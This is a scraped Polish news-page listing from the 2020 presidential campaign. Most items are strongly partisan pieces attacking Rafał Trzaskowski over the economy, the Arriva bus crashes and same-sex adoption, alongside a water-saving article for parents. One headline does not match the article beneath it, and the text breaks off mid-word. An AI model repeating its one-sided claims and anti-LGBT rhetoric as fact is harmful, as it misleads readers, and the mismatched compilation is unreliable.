Według premiera, gdyby hipotetycznie trzeba było uzgadniać z kimś takim, jak Trzaskowski wprowadzenie rządowej tarczy antykryzysowej, która "uratowała kilka milionów miejsc pracy, uratowała polski system gospodarczy", nie udałoby się jej wprowadzić tak szybko.

"Dziękuję nielicznie zgromadzonym naszym przeciwnikom, którzy przypominają o prawdziwej polityce pana Trzaskowskiego, o planach adopcji dzieci przez pary homoseksualne, wystrzegajmy się tego"

- mówił, zwracając się do przybyłych na spotkanie zwolenników kandydata KO.

"Musimy uważać na takie szalbierstwo, jakie proponuje pan Trzaskowski" - powiedział premier, odnosząc się do kwestii adopcji dzieci przez pary jednopłciowe.

R: 0 / I: 0 / P: 25

Naucz dziecko oszczędzania wody

Woda wpływa na niemal każdy aspekt naszego życia i jest nam niezbędna do egzystencji. Choć jej światowe rezerwy wydają się ogromne, słodka woda pitna stanowi zaledwie kilka procent całej objętości wód na ziemi. Dlatego oszczędzanie wody powinno być codziennym nawykiem każdego z nas, a także jednym z priorytetów w edukacji proekologicznej młodego pokolenia.

Oszczędzanie wody na poziomie gospodarstwa domowego nie wymaga wielu wyrzeczeń, a przynosi wymierne korzyści zarówno naszemu budżetowi, jak i środowisku. Jeśli dodatkowo zaangażujemy w nie dzieci, stworzymy im okazję do przyswojenia pożytecznych nawyków, które będą stosować do końca życia, przyczyniając się tym samym do dobrostanu naszej planety.

Jak zacząć oszczędzać wodę?

Wspólne rodzinne oszczędzanie wody warto zacząć od wytłumaczenia dziecku, dlaczego powinniśmy to robić. Metodycy zajmujący się edukacją proekologiczną radzą, by na początek wspólnie z dzieckiem:

zastanowić się nad drogą, jaką pokonuje woda, zanim dotrze do kranu;

omówić sytuacje, w których woda jest nam niezbędna (np. picie, gotowanie, kąpiel, pranie, podlewanie roślin);

porozmawiać o zastosowaniu wody w rolnictwie oraz produkcji artykułów codziennego użytku i żywności.

Chcąc zaszczepić w dziecku troskę o zasoby naturalne często podkreślajmy, że oszczędzanie wody jest konieczne i przytaczajmy proste przykłady pokazujące praktyczne przełożenie braku wody na różne dziedziny życia. Warto odwoływać się do sytuacji, które młody umysł przyjmie ze zrozumieniem i empatią, np. do uwielbianej przez dzieci przyrody. Wspomnijmy, że jeśli nie zadbamy wspólnie o zasoby wodne, jeziora i rzeki zaczną wysychać, na czym ucierpią rośliny oraz zwierzęta. Dodajmy, że na brak wody cierpią też ludzie mieszkający w krajach o gorącym klimacie.

Sposoby na oszczędzanie wody

Zakręcanie kranu po umyciu rąk – uświadamiajmy dziecku, że każda zmarnowana kropla wody to wielka strata, dlatego po umyciu rąk powinno ono sprawdzać, czy kran jest dobrze dokręcony i nie kapie z niego woda.

Oszczędna kąpiel – pokażmy na własnym przykładzie, że można się umyć nie zużywając ogromnej ilości wody i zachęćmy najmłodszych do naśladowania nas. Przekonajmy, że znacznie mniej wody zużywamy podczas brania prysznica niż w kąpieli w wannie.

Ekologiczne mycie zębów – pokażmy dziecku, jak dużo wody marnuje się, gdy nie zakręcamy kranu na czas mycia zębów (można dla eksperymentu spróbować taką wodę zebrać np. do podstawionego naczynia), a następnie zaproponujmy płukanie buzi po umyciu zębów wodą z kubeczka zamiast pod strumieniem wody bieżącej.

Sprytne spłukiwanie toalety – jeśli w toalecie mamy spłuczkę z dwoma przyciskami, wskażmy dziecku różnicę między nimi i namówmy do wybierania bardziej oszczędnego trybu spłukiwania wody.

Zbiórka wody do podlewania roślin – odpowiedzialne korzystanie z wody możemy dziecku zaszczepić także podczas dbania o domowe rośliny. Zacznijmy wspólnie zbierać wodę po myciu owoców czy gotowaniu jajek i wykorzystywać ją do podlewania. Jeśli mamy do tego warunki, zaaranżujmy razem w ogródku zbiornik na deszczówkę i obserwujmy, ile wody zebrało się w nim po każdym deszczu.

R: 21 / I: 1 / P: 25

Premier punktuje manipulacje Trzaskowskiego

My, wspólnie z Prezydentem Andrzejem Dudą, w polską gospodarkę i nasze firmy włożyliśmy 100 mld zł na ratowanie miejsc pracy i zachowanie płynności finansowej. Panie Rafale, widzi Pan różnicę? - zwraca się do kandydata na prezydenta Rafała Trzaskowskiego premier Mateusz Morawiecki. - Ups, przepraszam, zapomniałem - przecież te wybory są po to, „żeby nie zadawać tego typu pytań” - dodał premier.

Premier odpowiedział na swoim profilu na Facebooku na gospodarcze manipulacje Rafała Trzaskowskiego.

- Wchodziliśmy w ten kryzys gospodarczy ze spadającym długiem w relacji do PKB i zrównoważonym budżetem. Bezrobocie i poziom ubóstwa były na historycznie najniższych poziomach od 30 lat. Według szacunków Komisji Europejskiej, dług sektora rządowego i samorządowego na koniec 2019 roku wynosił 46 proc. Od 2015 r. zmniejszyliśmy go o ponad 8 pkt. proc. w relacji do PKB - doskonały wynik jeżeli zauważymy, że średnia europejska wynosi około 80 proc. To pokazuje, że jako kraj mieliśmy wystarczająco dużo przestrzeni fiskalnej by w proporcjonalny sposób odpowiedzieć na największy, co najmniej od lat 30. XX wieku, kryzys gospodarczy na świecie

- podkreślił szef polskiego rządu.

Morawiecki zwraca uwagę, że "ekonomiści porównują kryzys finansowy z 2008 r. do ciężkiej migreny lub zawału serca, a ten obecny w 2020 r. do sepsy lub porażenia całego układu odpornościowego atakującego wszystkie organy naszej gospodarki".

- Na to najpoważniejsze wyzwanie stojące przed polityką gospodarczą i fiskalną odpowiedzieliśmy zdecydowanymi działaniami, które były realnie wielokrotnie większe w relacji do PKB niż w 2008 r. I znacznie szybciej wdrożone niż za czasów rządu PO. Wdrożone natychmiast

- zwrócił uwagę.

- Zresztą, prosty przykład. Jak chroniono polskie miejsca pracy i polskie firmy wtedy i dziś? - pyta premier.

- Otóż, w latach 2009-2011 (w epicentrum kryzysu) koalicja PO-PSL wyprzedała polski majątek i polskie firmy o wartości 40 mld zł! My, wspólnie z Prezydentem Andrzejem Dudą, w polską gospodarkę i nasze firmy włożyliśmy 100 mld zł na ratowanie miejsc pracy i zachowanie płynności finansowej

- przypomniał premier.

- Panie Rafale, widzi Pan różnicę? - pyta Morawiecki i dodaje żartobliwie: "Ups, przepraszam, zapomniałem - przecież te wybory są po to, „żeby nie zadawać tego typu pytań”".

Premier przypomniał najświeższe dane Komisji Europejskiej, która podała, że majowy poziom bezrobocia w Polsce to 3 proc. - drugi najniższy poziom w całej Unii Europejskiej!

- Za to, kiedy ministrem w rządzie pana Tuska i pani Kopacz był pan Trzaskowski – sięgało 10%! - zaznaczył Morawiecki. "Proste fakty panie Rafale. Wystarczy spojrzeć na dane z Brukseli" - dodał.

Dalej premier zwrócił się już do wszystkich Polaków.

- Mogę zapewnić pana Trzaskowskiego i innych, że nasze działania nie doprowadzą finansów państwa do takiego stanu jak za czasów rządów Platformy. Nikt nie będzie sięgał po pieniądze odłożone na emerytury Polaków. Pamiętacie jak Platforma Obywatelska pana Tuska i pana Trzaskowskiego zabrała OFE? Pamiętacie jak podnieśli VAT?

- pytał.

- A tak a propos - dziękuję sieciom handlowym za rzetelne informowanie klientów, że zmniejszono ceny na tysiące towarów dzięki obniżce VAT. Obniżkę przyjęliśmy wiele miesięcy temu, a weszła w życie przed paroma dniami. My szukamy źródeł finansowania tam, gdzie wyciekają one z systemu. A wyciekał np. VAT w czasach rządów Platformy Obywatelskiej, gdy ministrem finansów był pan Rostowski, przyjaciel pana Rafała

- dodał premier.

Na koniec wpisu Morawiecki dodał: "Ps. Dla ludzi o silnych nerwach polecam raporty European Commission czy PwC na temat rosnącej luki VAT w latach rządów partii pana Trzaskowskiego.

R: 27 / I: 0 / P: 25

Polscy nastolatkowie za Torem

Podejmiecie wyzwanie?

R: 0 / I: 0 / P: 25

Morawiecki do Trzaskowskiego: co zrobiliście, by zapobiec wypadkom Arrivy w Warszawie?

- Panie Trzaskowski, jakie zabezpieczenia i kontrole, co zrobiliście, żeby zapobiec wypadkom? Czy niemiecka Arriva wprowadziła plan naprawczy? - pyta na Twitterze premier Mateusz Morawiecki prezydenta stolicy i kandydata Koalicji Obywatelskiej na prezydenta RP Rafała Trzaskowskiego.

"W różnych miejscach zdarzają się błędy. Sztuką rządzenia jest umiejętność wyciągania wniosków. Panie Trzaskowski, jakie zabezpieczenia i kontrole, co zrobiliście żeby zapobiec wypadkom? Czy niemiecka Arriva wprowadziła plan naprawczy? Chodzi o to, żeby odpowiadać na takie pytania"

- napisał na Twitterze szef rządu.

We wtorek około godz. 10:30 na ul. Klaudyny na warszawskich Bielanach doszło do wypadku z udziałem miejskiego autobusu. Kierowca autobusu linii 181 uderzył tam w cztery zaparkowane pojazdy oraz latarnię. Jedna osoba, pasażerka autobusu, została z ogólnymi potłuczeniami przewieziona do szpitala.

"Policjanci sprawdzili trzeźwość kierowcy, to badanie dało wynik ujemny. Prowadzący autobus 25-latek został także poddany badaniu na zawartość innych substancji odurzających. Tester wskazał w tym przypadku na meta-amfetaminę. W związku z powyższym kierowca autobusu został przez policjantów zatrzymany"

– poinformował asp. szt. Mariusz Mrozek z Komendy Stołecznego Policji.

Zarząd Transportu Miejskiego przeprowadza kontrole w zajezdniach operatorów i wystąpił do firmy Arriva o wyjaśnienia ws. wypadku, do którego doszło we wtorek na ul. Klaudyny – poinformował rzecznik prasowy ZTM Tomasz Kunert. Dodał, że ZTM rozważa zerwanie umowy zawartej z Arrivą o świadczenie usług przewozowych.

Rzeczniczka spółki Arriva Joanna Parzniewska poinformowała, że spółka podjęła decyzję o przeprowadzeniu u wszystkich swoich kierowców testów na obecność narkotyków.

Dodała, że testy będą obowiązkowe dla wszystkich.

To już drugie podobne zdarzenie z udziałem kierowcy miejskiego autobusu, będącego pod wpływem narkotyków, pracującego dla firmy Arriva. 25 czerwca kierowca autobusu linii 186 spowodował wypadek na moście Grota-Roweckiego, w którym zginęła pasażerka, a czworo innych pasażerów zostało ciężko rannych. Tomasz U., który kierował autobusem, był pod wpływem amfetaminy. Został aresztowany.

Wożąca warszawiaków komunikacją miejską Arriva nie jest zwykłym zagranicznym podmiotem. To spółka będąca własnością koncernu Deutsche Bahn (DB), którego 100-procentowym właścicielem jest z kolei… Republika Federalna Niemiec. Oprócz związków majątkowych między DB a niemieckim rządem są też koneksje personalne: m.in. dyrektorem naczelnym Deutsche Bahn ds. infrastruktury jest Ronald Pofalla, między 2006 a 2009 r. sekretarz generalny CDU, w latach 2009-2013 minister ds. nadzwyczajnych w rządzie Angeli Merkel, a jednocześnie szef Urzędu Kanclerza Federalnego

R: 14 / I: 0 / P: 25

Maski opadły! Konfederacja popiera LGBT!

Prezydencki projekt zmiany konstytucji, wprowadzający zapis, że wykluczona jest adopcja dziecka przez osobę pozostającą w związku jednopłciowym w poniedziałek po południu wpłynął do Sejmu. Zapytaliśmy przedstawicieli różnych partii politycznych, czy zagłosują za tą zmianą. Tylko PiS jest za, reszta klubów, nawet takich, które głośno mówią o konieczności tego typu rozwiązań, uważają ten pomysł Andrzeja Dudy za „grę wyborczą”.

Teresa Wargocka, posłanka Prawa i Sprawiedliwości:

To jest bardzo dobry pomysł i bardzo się cieszę, że on padł w kampanii wyborczej. Wskutek takich pokrętnych tłumaczeń pana Rafała Trzaskowskiego i całej Platformy Obywatelskiej, co do tego, jaki jest ich stosunek do adopcji dzieci przez pary jednopłciowe, wiemy, że taka poprawka w konstytucji zamknie tę drogę. Nie będzie możliwe, żeby przy zmianie partii rządzącej w Sejmie, zwykłą większością głosów taką zmianę wprowadzić. To jest bardzo dobry ruch, bardzo potrzebny, w sytuacji, kiedy naprawdę nie mamy podstaw, aby wierzyć Platformie Obywatelskiej, że nie ma takich docelowo zamiarów. Platforma Obywatelska skręciła na lewo, to nie jest partia o wartościach konserwatywnych.

Jakub Kulesza, poseł Konfederacji:

Na tę propozycję patrzę, jak na propozycję cynicznego polityka, który o konserwatyzmie przypomina sobie dopiero w kampanii wyborczej. Projekt zmiany w konstytucji musi odleżeć w Sejmie minimum 60 dni, później musi leżeć 30 dni w Senacie. Gdyby prezydent chciałby mieć jakikolwiek wpływ na przeforsowanie tego projektu, przy założeniu, że udałoby się znaleźć 2/3 w Sejmie, to złożyłby go w lutym, bo wtedy zdążyłby go jeszcze podpisać. Jeśli składa go na kilka dni przed drugą wyborów, na miesiąc przed zakończeniem swojej kadencji, to robi to w sposób cyniczny. Nie robi tego, kiedy ma to wpływ, tylko wtedy kiedy jest mu to potrzebne na użytek wewnętrzny. To tylko jeden z przykładów na działania PiS-u związanymi z różnymi inicjatywami konserwatywnymi.

Sławomir Potapowicz, warszawski radny Nowoczesnej:

Przede wszystkim jakiekolwiek zmiany konstytucji przy prezydencie, który miał bardzo poważne problemy z realizacją konstytucji, wydają mi się dość karkołomne. Traktuję tę propozycję prezydenta Andrzeja Dudy, tylko jako kampanijną wydmuszkę i odwracanie się od realnych problemów, jakimi żyje dzisiaj Polska i Polacy. W związku z tym, jeżeli prezydent chce przenosić dyskusje na tematy światopoglądowe, szczując na siebie obywateli, to jest to moim zdaniem droga, która nie doprowadzi prezydenta do sukcesu, a wręcz przeciwnie. Pan prezydent skupia się na problemach, które w polskim społeczeństwie nie funkcjonują, bądź nie stanowią istotnego problemu. Wolałbym, żeby pan prezydent Duda gotów był do rozmowy na przykład na temat związane ze zmianami klimatycznymi, coraz większym bezrobociem, a nie zajmowaniem się tematami zastępczymi.

Paweł Szramka, poseł Kukiz'15 z Koalicji Polskiej:

Przede wszystkim nie biorę na poważnie żadnej obietnicy pana prezydenta, a już tym bardziej jakichkolwiek zmian konstytucyjnych, bo nie ma on najmniejszej siły przebicia, żeby chociaż rozmawiać o takich zmianach. Miał w tej kadencji okazje do tego, żeby wprowadzić dzień referendalny, za którym bardzo mocno optował, ale nawet jego opcja polityczna na to się nie zgodziła, więc jakie on ma w ogóle podstawy do tego, żeby mówić o tym, że coś będzie chciał zrobić jakiekolwiek zmiany w konstytucji. W ogóle nie ma tematu, jeśli mówi o tym prezydent Andrzej Duda.

Grzegorz Napieralski, senator Koalicji Obywatelskiej:

Patrzę na to, jak na typowo kampanijny pomysł pana prezydenta Andrzeja Dudy, niepotrzebny w ogóle. Nie chcę się w ogóle tym zajmować. Mam wrażenie, że pięć lat temu prezydent Komorowski tak samo próbował z referendum dotyczącym jednomandatowych okręgów wyborczych a pięć lat później, prezydent Andrzej Duda próbuje pozyskać, nie wiem jakich wyborców takim zagraniem. Bardzo mi się to nie podoba, niepotrzebne kampanijne zagranie.

R: 2 / I: 0 / P: 25

Polski kontrwywiad wyparł niemieckie służby specjalne z Warszawy

Po spotkaniu władz Warszawy z firmą Arriva zawiesiliśmy umowę z wykonawcą - poinformowała we wtorek popołudniu rzeczniczka stołecznego ratusza Karolina Gałecka. We wtorek w stolicy doszło do kolejnego wypadku z udziałem tego przewoźnika. Jego kierowca była pod wpływem środków odurzających.

Po spotkaniu władz @warszawa z firmą @ArrivaPolska zawiesiliśmy umowy z wykonawcą. Oczekujemy od firmy przetestowania kierowców i zaświadczenia, że nie zażywają oni substancji psychoaktywnych. W tym czasie połączenia obsługiwać będą pozostali przewoźnicy @WTP_Warszawa

— Karolina Gałecka (@K_Galecka) July 7, 2020

- napisała na Twitterze rzeczniczka stołecznego ratusza Karolina Gałecka.

Jak przekazał asp. szt. Mariusz Mrozek z Komendy Stołecznego Policji, około godz. 10.30 policjanci zostali powiadomieni o zdarzeniu, do którego doszło na ul. Klaudyny na warszawskich Bielanach. Kierowca miejskiego autobusu linii 181 uderzył tam w cztery zaparkowane pojazdy oraz latarnię. Jedna osoba, pasażerka autobusu, została z ogólnymi potłuczeniami przewieziona do szpitala.

"Policjanci sprawdzili trzeźwość kierowcy, to badanie dało wynik ujemny. Prowadzący autobus 25-latek został także poddany badaniu na zawartość innych substancji odurzających. Tester wskazał w tym przypadku na metamfetaminę. W związku z powyższym kierowca autobusu został przez policjantów zatrzymany"

– poinformował asp. szt. Mariusz Mrozek z Komendy Stołecznego Policji.

Jednocześnie podkreślił, że to zdarzenie wskazuje na problem nadzoru nad kierowcami pozostający w gestii samego przewoźnika.

To już drugie podobne zdarzenie z udziałem kierowcy miejskiego autobusu, będącego pod wpływem narkotyków, pracującego dla firmy Arriva. 25 czerwca kierowca autobusu linii 186 spowodował wypadek na moście Grota-Roweckiego, w którym zginęła pasażerka, a czworo innych pasażerów zostało ciężko rannych. Tomasz U., który kierował autobusem, był pod wpływem amfetaminy. Został aresztowany.

R: 0 / I: 0 / P: 25

Porażka Trzaskowskiego uchroni nas przed energetycznym kryzysem

Duże instalacje OZE zamiast węgla i atomu – to energetyczny program Rafała Trzaskowskiego rywalizującego z Andrzejem Dudą o fotel prezydenta. Program ten przypomina niemiecki plan Energiewende i jeśli kandydat PO pójdzie tą drogą, wkrótce załatwi Polakom ceny prądu tak wysokie, jak w Niemczech.

Trzaskowski w swoim programie dla Polski – jak zauważyli eksperci – zarysowanym na dużym poziomie ogólności, zawarł m.in. plan transformacji energetycznej. Polityk PO chce, by do 2030 r. Polacy zrezygnowali z ogrzewania domów węglem, a do 2040 r. surowiec ten ma zniknąć również z branży elektroenergetycznej. Trzaskowski zapowiedział też, że Polska ma osiągnąć w 2050 r. założoną w Zielonym Ładzie UE neutralność klimatyczną i że zawetuje każdą ustawę, która będzie sprzeczna z tymi celami.

Jak twierdzi kandydat opozycji na prezydenta, sposobem na osiągnięcie klimatycznej neutralności do 2050 r. mają być „duże instalacje OZE”, ale nie wskazuje, jakie konkretnie źródła odnawialne ma na myśli. Trzaskowski nie zaprezentował też preferowanego przez siebie energetycznego miksu. Nie wspomniał również w swoim planie o neutralnej ekologicznie energetyce jądrowej, co może oznaczać, że nie akceptuje planu budowy w Polsce atomowej siłowni przy wsparciu USA.

Wszystko to każe z obawą oceniać energetyczną przyszłość naszego kraju pod ewentualnymi rządami prezydenta z PO. Trzaskowski może doprowadzić Polskę do niewyobrażalnego kryzysu, ponieważ nas na niemiecki Energiewende nie stać. Jak podaje Clean Energy Wire, przez ostatnie 20 lat Niemcy wydają rocznie na ten plan od 15 do 40 mld euro, a według szacunków Siemensa łączny koszt transformacji energetycznej za Odrą wyniesie do 2030 r. 1,4 bln euro.

Mimo uprawianej w Niemczech propagand